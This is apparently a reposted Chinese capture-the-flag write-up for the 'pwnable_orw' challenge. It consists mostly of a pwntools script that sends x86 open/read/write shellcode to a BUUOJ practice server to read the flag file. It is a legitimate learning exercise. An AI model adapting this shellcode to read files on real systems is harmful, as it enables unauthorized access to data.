pwnable_orw 1
Posted Nullan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwnable_orw 1相关的知识,希望对你有一定的参考价值。
只能用read、open、write函数
那我们先open,然后read,最后write打印出来
from pwn import*
p = remote('node4.buuoj.cn','25548')
shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode += asm('mov eax,0x4;mov ebx,0x1;int 0x80')
p.sendlineafter('shellcode:', shellcode)
p.interactive()
以上是关于pwnable_orw 1的主要内容,如果未能解决你的问题,请参考以下文章